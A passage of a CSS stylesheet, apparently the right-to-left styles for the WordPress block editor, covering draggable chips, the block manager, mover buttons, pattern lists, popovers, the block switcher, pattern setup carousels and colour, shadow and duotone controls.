  box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;
  color:#fff;
  cursor:grabbing;
  display:inline-flex;
  height:48px;
  padding:0 13px;
  position:relative;
  -webkit-user-select:none;
          user-select:none;
  width:max-content;
}
.block-editor-block-draggable-chip svg{
  fill:currentColor;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content{
  justify-content:flex-start;
  margin:auto;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item{
  margin-left:6px;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item:last-child{
  margin-left:0;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content .block-editor-block-icon svg{
  min-height:18px;
  min-width:18px;
}
.block-editor-block-draggable-chip .components-flex__item{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{
  align-items:center;
  background-color:initial;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
}
@media not (prefers-reduced-motion){
  .block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{
    transition:all .1s linear .1s;
  }
}
.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled .block-editor-block-draggable-chip__disabled-icon{
  background:#0000 linear-gradient(45deg, #0000 47.5%, #fff 0, #fff 52.5%, #0000 0);
  border-radius:50%;
  box-shadow:inset 0 0 0 1.5px #fff;
  display:inline-block;
  height:20px;
  padding:0;
  width:20px;
}

.block-draggable-invalid-drag-token .block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{
  background-color:#757575;
  box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;
  opacity:1;
}

.block-editor-block-manager__no-results{
  font-style:italic;
  padding:24px 0;
  text-align:center;
}

.block-editor-block-manager__search{
  margin:16px 0;
}

.block-editor-block-manager__disabled-blocks-count{
  background-color:#fff;
  border:1px solid #ddd;
  border-width:1px 0;
  box-shadow:32px 0 0 0 #fff,-32px 0 0 0 #fff;
  padding:8px;
  position:sticky;
  text-align:center;
  top:-5px;
  z-index:2;
}
.block-editor-block-manager__disabled-blocks-count~.block-editor-block-manager__results .block-editor-block-manager__category-title{
  top:31px;
}
.block-editor-block-manager__disabled-blocks-count .is-link{
  margin-right:12px;
}

.block-editor-block-manager__category{
  margin:0 0 24px;
}

.block-editor-block-manager__category-title{
  background-color:#fff;
  padding:16px 0;
  position:sticky;
  top:-4px;
  z-index:1;
}
.block-editor-block-manager__category-title .components-checkbox-control__label{
  font-weight:600;
}

.block-editor-block-manager__checklist{
  margin-top:0;
}

.block-editor-block-manager__category-title,.block-editor-block-manager__checklist-item{
  border-bottom:1px solid #ddd;
}

.block-editor-block-manager__checklist-item{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-bottom:0;
  padding:8px 16px 8px 0;
}
.components-modal__content .block-editor-block-manager__checklist-item.components-checkbox-control__input-container{
  margin:0 8px;
}
.block-editor-block-manager__checklist-item .block-editor-block-icon{
  margin-left:10px;
  fill:#1e1e1e;
}

.block-editor-block-manager__results{
  border-top:1px solid #ddd;
}

.block-editor-block-manager__disabled-blocks-count+.block-editor-block-manager__results{
  border-top-width:0;
}

.block-editor-block-mover__move-button-container{
  border:none;
  display:flex;
  justify-content:center;
  padding:0;
}
@media (min-width:600px){
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    flex-direction:column;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>*{
    height:20px;
    min-width:0 !important;
    width:100%;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>:before{
    height:calc(100% - 4px);
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{
    flex-shrink:0;
    top:3px;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{
    bottom:3px;
    flex-shrink:0;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{
    width:48px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container>*{
    min-width:0 !important;
    overflow:hidden;
    width:24px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button{
    padding-left:0;
    padding-right:0;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{
    right:5px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{
    left:5px;
  }
}

.block-editor-block-mover__drag-handle{
  cursor:grab;
}
@media (min-width:600px){
  .block-editor-block-mover__drag-handle{
    min-width:0 !important;
    overflow:hidden;
    width:24px;
  }
  .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon.has-icon{
    padding-left:0;
    padding-right:0;
  }
}

.components-button.block-editor-block-mover-button{
  overflow:hidden;
}
.components-button.block-editor-block-mover-button:before{
  border-radius:2px;
  content:"";
  display:block;
  height:32px;
  left:8px;
  position:absolute;
  right:8px;
  z-index:-1;
}
@media not (prefers-reduced-motion){
  .components-button.block-editor-block-mover-button:before{
    animation:components-button__appear-animation .1s ease;
    animation-fill-mode:forwards;
  }
}
.components-button.block-editor-block-mover-button:focus,.components-button.block-editor-block-mover-button:focus:before,.components-button.block-editor-block-mover-button:focus:enabled{
  box-shadow:none;
  outline:none;
}
.components-button.block-editor-block-mover-button:focus-visible:before{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.block-editor-block-navigation__container{
  min-width:280px;
}

.block-editor-block-navigation__label{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin:0 0 12px;
  text-transform:uppercase;
}

.block-editor-block-patterns-list__list-item{
  cursor:pointer;
  margin-bottom:16px;
  position:relative;
}
.block-editor-block-patterns-list__list-item.is-placeholder{
  min-height:100px;
}
.block-editor-block-patterns-list__list-item[draggable=true]{
  cursor:grab;
}

.block-editor-block-patterns-list__item{
  height:100%;
  outline:0;
  scroll-margin-bottom:56px;
  scroll-margin-top:24px;
}
.block-editor-block-patterns-list__item .block-editor-block-patterns-list__item-title{
  flex-grow:1;
  font-size:12px;
  text-align:right;
}
.block-editor-block-patterns-list__item .block-editor-block-preview__container{
  align-items:center;
  border-radius:4px;
  display:flex;
  overflow:hidden;
}
.block-editor-block-patterns-list__item .block-editor-block-preview__container:after{
  border-radius:4px;
  outline:1px solid #0000001a;
  outline-offset:-1px;
}
@media not (prefers-reduced-motion){
  .block-editor-block-patterns-list__item .block-editor-block-preview__container:after{
    transition:outline .1s linear;
  }
}
.block-editor-block-patterns-list__item.is-selected .block-editor-block-preview__container:after{
  outline-color:#1e1e1e;
  outline-offset:calc(var(--wp-admin-border-width-focus)*-1);
  outline-width:var(--wp-admin-border-width-focus);
}
.block-editor-block-patterns-list__item:hover .block-editor-block-preview__container:after{
  outline-color:#0000004d;
}
.block-editor-block-patterns-list__item[data-focus-visible] .block-editor-block-preview__container:after{
  outline-color:var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-1);
  outline-width:var(--wp-admin-border-width-focus);
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-details:not(:empty){
  align-items:center;
  margin-top:8px;
  padding-bottom:4px;
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper{
  height:24px;
  min-width:24px;
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper .block-editor-patterns__pattern-icon{
  fill:var(--wp-block-synced-color);
}

.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination{
  border-top:1px solid #2f2f2f;
  justify-content:center;
  padding:4px;
}

.show-icon-labels .block-editor-patterns__grid-pagination-button{
  width:auto;
}
.show-icon-labels .block-editor-patterns__grid-pagination-button span{
  display:none;
}
.show-icon-labels .block-editor-patterns__grid-pagination-button:before{
  content:attr(aria-label);
}

.components-popover.block-editor-block-popover{
  margin:0 !important;
  pointer-events:none;
  position:absolute;
  z-index:31;
}
.components-popover.block-editor-block-popover .components-popover__content{
  margin:0 !important;
  min-width:auto;
  overflow-y:visible;
  width:max-content;
}
.components-popover.block-editor-block-popover:not(.block-editor-block-popover__inbetween,.block-editor-block-popover__drop-zone,.block-editor-block-list__block-side-inserter-popover) .components-popover__content *{
  pointer-events:all;
}
.components-popover.block-editor-block-popover__inbetween,.components-popover.block-editor-block-popover__inbetween *{
  pointer-events:none;
}
.components-popover.block-editor-block-popover__inbetween .is-with-inserter,.components-popover.block-editor-block-popover__inbetween .is-with-inserter *{
  pointer-events:all;
}

.components-popover.block-editor-block-popover__drop-zone *{
  pointer-events:none;
}
.components-popover.block-editor-block-popover__drop-zone .block-editor-block-popover__drop-zone-foreground{
  background-color:var(--wp-admin-theme-color);
  border-radius:2px;
  inset:0;
  position:absolute;
}

.block-editor-block-preview__container{
  overflow:hidden;
  position:relative;
  width:100%;
}
.block-editor-block-preview__container .block-editor-block-preview__content{
  margin:0;
  min-height:auto;
  overflow:visible;
  right:0;
  text-align:initial;
  top:0;
  transform-origin:top right;
  width:100%;
}
.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point,.block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender{
  display:none;
}

.block-editor-block-preview__container:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}

.block-editor-block-rename-modal{
  z-index:1000001;
}

.block-editor-block-styles__preview-panel{
  display:none;
  z-index:90;
}
@media (min-width:782px){
  .block-editor-block-styles__preview-panel{
    display:block;
  }
}
.block-editor-block-styles__preview-panel .block-editor-block-icon{
  display:none;
}

.block-editor-block-styles__variants{
  display:flex;
  flex-wrap:wrap;
  gap:8px;
  justify-content:space-between;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item{
  box-shadow:inset 0 0 0 1px #ddd;
  color:#1e1e1e;
  display:inline-block;
  width:calc(50% - 4px);
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:hover{
  box-shadow:inset 0 0 0 1px #ddd;
  color:var(--wp-admin-theme-color);
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover{
  background-color:#1e1e1e;
  box-shadow:none;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active .block-editor-block-styles__item-text,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover .block-editor-block-styles__item-text{
  color:#fff;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:focus,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:focus{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-block-styles__variants .block-editor-block-styles__item-text{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}

.block-editor-block-styles__block-preview-container,.block-editor-block-styles__block-preview-container *{
  box-sizing:border-box !important;
}

.block-editor-block-switcher{
  position:relative;
}
.block-editor-block-switcher .components-button.components-dropdown-menu__toggle.has-icon.has-icon{
  min-width:36px;
}

.block-editor-block-switcher__no-switcher-icon,.block-editor-block-switcher__toggle{
  position:relative;
}

.components-button.block-editor-block-switcher__no-switcher-icon,.components-button.block-editor-block-switcher__toggle{
  display:block;
  height:48px;
  margin:0;
}
.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.components-button.block-editor-block-switcher__toggle .block-editor-block-icon{
  margin:auto;
}

.components-button.block-editor-block-switcher__no-switcher-icon{
  display:flex;
}
.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  margin-left:auto;
  margin-right:auto;
  min-width:24px !important;
}
.components-button.block-editor-block-switcher__no-switcher-icon[aria-disabled=true],.components-button.block-editor-block-switcher__no-switcher-icon[aria-disabled=true]:hover{
  color:#1e1e1e;
}

.components-popover.block-editor-block-switcher__popover .components-popover__content{
  min-width:300px;
}

.block-editor-block-switcher__popover-preview-container{
  bottom:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:-1px;
  width:100%;
}

.block-editor-block-switcher__popover-preview{
  overflow:hidden;
}
.block-editor-block-switcher__popover-preview .components-popover__content{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:4px;
  box-shadow:none;
  outline:none;
  overflow:auto;
  width:300px;
}
.block-editor-block-switcher__popover-preview .block-editor-block-switcher__preview{
  margin:16px 0;
  max-height:468px;
  overflow:hidden;
  padding:0 16px;
}
.block-editor-block-switcher__popover-preview .block-editor-block-switcher__preview.is-pattern-list-preview{
  overflow:unset;
}

.block-editor-block-switcher__preview-title{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin-bottom:12px;
  text-transform:uppercase;
}

.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon{
  min-width:36px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle{
  height:48px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{
  height:48px;
  width:48px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{
  padding:12px;
}

.block-editor-block-switcher__preview-patterns-container{
  padding-bottom:16px;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item{
  margin-top:16px;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-preview__container{
  cursor:pointer;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{
  border:1px solid #0000;
  border-radius:2px;
  height:100%;
  position:relative;
}
@media not (prefers-reduced-motion){
  .block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{
    transition:all .05s ease-in-out;
  }
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:focus,.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item .block-editor-block-switcher__preview-patterns-container-list__item-title{
  cursor:pointer;
  font-size:12px;
  padding:4px;
  text-align:center;
}

.block-editor-block-switcher__no-transforms{
  color:#757575;
  margin:0;
  padding:6px 8px;
}

.block-editor-block-switcher__binding-indicator{
  display:block;
  padding:8px;
}

.block-editor-block-types-list>[role=presentation]{
  display:flex;
  flex-wrap:wrap;
  overflow:hidden;
}

.block-editor-block-pattern-setup{
  align-items:flex-start;
  border-radius:2px;
  display:flex;
  flex-direction:column;
  justify-content:center;
  width:100%;
}
.block-editor-block-pattern-setup.view-mode-grid{
  padding-top:4px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__toolbar{
  justify-content:center;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{
  column-count:2;
  column-gap:24px;
  display:block;
  padding:0 32px;
  width:100%;
}
@media (min-width:1440px){
  .block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{
    column-count:3;
  }
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-preview__container,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container div[role=button]{
  cursor:pointer;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item{
  scroll-margin:5px 0;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-preview__container{
  box-shadow:0 0 0 2px var(--wp-admin-theme-color);
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-preview__container{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-pattern-setup-list__item-title,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-pattern-setup-list__item-title{
  color:var(--wp-admin-theme-color);
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item{
  break-inside:avoid-column;
  margin-bottom:24px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-pattern-setup-list__item-title{
  cursor:pointer;
  font-size:12px;
  padding-top:8px;
  text-align:center;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__container{
  border:1px solid #ddd;
  border-radius:4px;
  min-height:100px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__content{
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar{
  align-items:center;
  align-self:stretch;
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  box-sizing:border-box;
  color:#1e1e1e;
  display:flex;
  flex-direction:row;
  height:60px;
  justify-content:space-between;
  margin:0;
  padding:16px;
  position:absolute;
  text-align:right;
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__display-controls{
  display:flex;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions,.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__navigation{
  display:flex;
  width:calc(50% - 36px);
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions{
  justify-content:flex-end;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  height:100%;
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container{
  height:100%;
  list-style:none;
  margin:0;
  overflow:hidden;
  padding:0;
  position:relative;
  transform-style:preserve-3d;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container *{
  box-sizing:border-box;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{
  background-color:#fff;
  height:100%;
  margin:auto;
  padding:0;
  position:absolute;
  top:0;
  width:100%;
  z-index:100;
}
@media not (prefers-reduced-motion){
  .block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{
    transition:transform .5s,z-index .5s;
  }
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.active-slide{
  opacity:1;
  position:relative;
  z-index:102;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.previous-slide{
  transform:translateX(100%);
  z-index:101;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.next-slide{
  transform:translateX(-100%);
  z-index:101;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .block-list-appender{
  display:none;
}

.block-editor-block-pattern-setup__carousel,.block-editor-block-pattern-setup__grid{
  width:100%;
}

.block-editor-block-variation-transforms{
  padding:0 52px 16px 16px;
  width:100%;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle{
  border:1px solid #757575;
  border-radius:2px;
  justify-content:right;
  min-height:30px;
  padding:6px 12px;
  position:relative;
  text-align:right;
  width:100%;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle{
  padding-left:24px;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled){
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 calc(var(--wp-admin-border-width-focus) - 1px) var(--wp-admin-theme-color);
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{
  height:100%;
  left:0;
  padding:0;
  position:absolute;
  top:0;
}

.block-editor-block-variation-transforms__popover .components-popover__content{
  min-width:230px;
}

.components-border-radius-control{
  margin-bottom:12px;
}
.components-border-radius-control legend{
  margin-bottom:8px;
}
.components-border-radius-control .components-border-radius-control__wrapper{
  align-items:flex-start;
  display:flex;
  justify-content:space-between;
}
.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__unit-control{
  flex-shrink:0;
  margin-bottom:0;
  margin-left:16px;
  width:calc(50% - 8px);
}
.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control{
  flex:1;
  margin-left:12px;
}
.components-border-radius-control .components-border-radius-control__input-controls-wrapper{
  display:grid;
  gap:16px;
  grid-template-columns:repeat(2, minmax(0, 1fr));
  margin-left:12px;
}
.components-border-radius-control .component-border-radius-control__linked-button{
  display:flex;
  justify-content:center;
  margin-top:8px;
}
.components-border-radius-control .component-border-radius-control__linked-button svg{
  margin-left:0;
}

.block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator{
  margin-bottom:12px;
}

.block-editor-color-gradient-control__fieldset{
  min-width:0;
}

.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings,.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings>div:not(:first-of-type){
  display:block;
}

@media screen and (min-width:782px){
  .block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches{
    display:grid;
    grid-template-columns:repeat(6, 28px);
  }
}
.block-editor-block-inspector .block-editor-panel-color-gradient-settings .components-base-control{
  margin-bottom:inherit;
}

.block-editor-panel-color-gradient-settings__dropdown-content .block-editor-color-gradient-control__panel{
  padding:16px;
  width:260px;
}

.block-editor-panel-color-gradient-settings__color-indicator{
  background:linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}
.block-editor-tools-panel-color-gradient-settings__item{
  border-bottom:1px solid #ddd;
  border-left:1px solid #ddd;
  border-right:1px solid #ddd;
  max-width:100%;
  padding:0;
  position:relative;
}
.block-editor-tools-panel-color-gradient-settings__item:nth-child(1 of .block-editor-tools-panel-color-gradient-settings__item){
  border-top:1px solid #ddd;
  border-top-left-radius:2px;
  border-top-right-radius:2px;
  margin-top:24px;
}
.block-editor-tools-panel-color-gradient-settings__item:nth-last-child(1 of .block-editor-tools-panel-color-gradient-settings__item){
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
}
.block-editor-tools-panel-color-gradient-settings__item>div,.block-editor-tools-panel-color-gradient-settings__item>div>button{
  border-radius:inherit;
}

.block-editor-tools-panel-color-gradient-settings__dropdown{
  display:block;
  padding:0;
}
.block-editor-tools-panel-color-gradient-settings__dropdown>button{
  height:auto;
  padding-bottom:10px;
  padding-top:10px;
  text-align:right;
}
.block-editor-tools-panel-color-gradient-settings__dropdown>button.is-open{
  background:#f0f0f0;
  color:var(--wp-admin-theme-color);
}
.block-editor-tools-panel-color-gradient-settings__dropdown .block-editor-panel-color-gradient-settings__color-name{
  max-width:calc(100% - 44px);
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.block-editor-panel-color-gradient-settings__dropdown{
  width:100%;
}
.block-editor-panel-color-gradient-settings__dropdown .component-color-indicator{
  flex-shrink:0;
}

.block-editor-panel-color-gradient-settings__reset{
  left:0;
  margin:auto 8px;
  opacity:0;
  position:absolute;
  top:8px;
}
@media not (prefers-reduced-motion){
  .block-editor-panel-color-gradient-settings__reset{
    transition:opacity .1s ease-in-out;
  }
}
.block-editor-panel-color-gradient-settings__reset.block-editor-panel-color-gradient-settings__reset{
  border-radius:2px;
}
.block-editor-panel-color-gradient-settings__dropdown:hover+.block-editor-panel-color-gradient-settings__reset,.block-editor-panel-color-gradient-settings__reset:focus,.block-editor-panel-color-gradient-settings__reset:hover{
  opacity:1;
}
@media (hover:none){
  .block-editor-panel-color-gradient-settings__reset{
    opacity:1;
  }
}

.block-editor-date-format-picker{
  border:none;
  margin:0 0 16px;
  padding:0;
}

.block-editor-date-format-picker__custom-format-select-control__custom-option{
  border-top:1px solid #ddd;
}

.block-editor-duotone-control__popover.components-popover>.components-popover__content{
  padding:8px;
  width:260px;
}
.block-editor-duotone-control__popover.components-popover .components-menu-group__label{
  padding:0;
}
.block-editor-duotone-control__popover.components-popover .components-circular-option-picker__swatches{
  display:grid;
  gap:12px;
  grid-template-columns:repeat(6, 28px);
  justify-content:space-between;
}

.block-editor-duotone-control__unset-indicator{
  background:linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}

.components-font-appearance-control [role=option]{
  color:#1e1e1e;
  text-transform:capitalize;
}

.block-editor-font-family-control:not(.is-next-has-no-margin-bottom){
  margin-bottom:8px;
}

.block-editor-global-styles__toggle-icon{
  fill:currentColor;
}

.block-editor-global-styles__shadow-popover-container{
  width:230px;
}

.block-editor-global-styles__shadow__list{
  display:flex;
  flex-wrap:wrap;
  gap:12px;
  padding-bottom:8px;
}

.block-editor-global-styles__clear-shadow{
  text-align:left;
}

.block-editor-global-styles-filters-panel__dropdown,.block-editor-global-styles__shadow-dropdown{
  display:block;
  padding:0;
  position:relative;
}
.block-editor-global-styles-filters-panel__dropdown button,.block-editor-global-styles__shadow-dropdown button{
  padding:8px;
  width:100%;
}
.block-editor-global-styles-filters-panel__dropdown button.is-open,.block-editor-global-styles__shadow-dropdown button.is-open{
  background-color:#f0f0f0;
}

.block-editor-global-styles__shadow-editor__remove-button{
  left:0;
  margin:auto 8px;
  opacity:0;
  position:absolute;
  top:8px;
}
@media not (prefers-reduced-motion){
  .block-editor-global-styles__shadow-editor__remove-button{
    transition:opacity .1s ease-in-out;
  }
}
.block-editor-global-styles__shadow-dropdown:hover .block-editor-global-styles__shadow-editor__remove-button,.block-editor-global-styles__shadow-editor__remove-button:focus,.block-editor-global-styles__shadow-editor__remove-button:hover{
  opacity:1;
}
@media (hover:none){
  .block-editor-global-styles__shadow-editor__remove-button{
    opacity:1;
  }
}

.block-editor-global-styles-filters-panel__dropdown{
  border:1px solid #ddd;
  border-radius:2px;
}

.block-editor-global-styles__shadow-indicator{
  align-items:center;
  appearance:none;
  background:none;
  border:1px solid #e0e0e0;
  border-radius:2px;
  box-sizing:border-box;
  color:#2f2f2f;
  cursor:pointer;
  display:inline-flex;
  height:26px;
  padding:0;
  transform:scale(1);
  width:26px;
  will-change:transform;
}
@media not (prefers-reduced-motion){
  .block-editor-global-styles__shadow-indicator{
    transition:transform .1s ease;
  }
}
.block-editor-global-styles__shadow-indicator:focus{
  border:2px solid #757575;
}
.block-editor-global-styles__shadow-indicator:hover{
  transform:scale(1.2);
}
.block-editor-global-styles__shadow-indicator.unset{
  background:linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}

.block-editor-global-styles-advanced-panel__custom-css-input textarea{
  direction:ltr;
  font-family:Menlo,Consolas,monaco,monospace;
}

.block-editor-panel-duotone-settings__reset{
  left:0;
  margin:auto 8px;
  opacity:0;
  position:absolute;
  top:8px;
}
@media not (prefers-reduced-motion){
  .block-editor-panel-duotone-settings__reset{
    transition:opacity .1s ease-in-out;
  }
}
.block-editor-global-styles-filters-panel__dropdown:hover .block-editor-panel-duotone-settings__reset,.block-editor-panel-duotone-settings__reset:focus,.block-editor-panel-duotone-settings__reset:hover{
  opacity:1;
}
@media (hover:none){
  .block-editor-panel-duotone-settings__reset{
    opacity:1;
  }
}

.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer{
  z-index:30;
}
.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer .components-popover__content *{
  pointer-events:none;
}
.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer.is-dropping-allowed .block-editor-grid-visualizer__drop-zone{
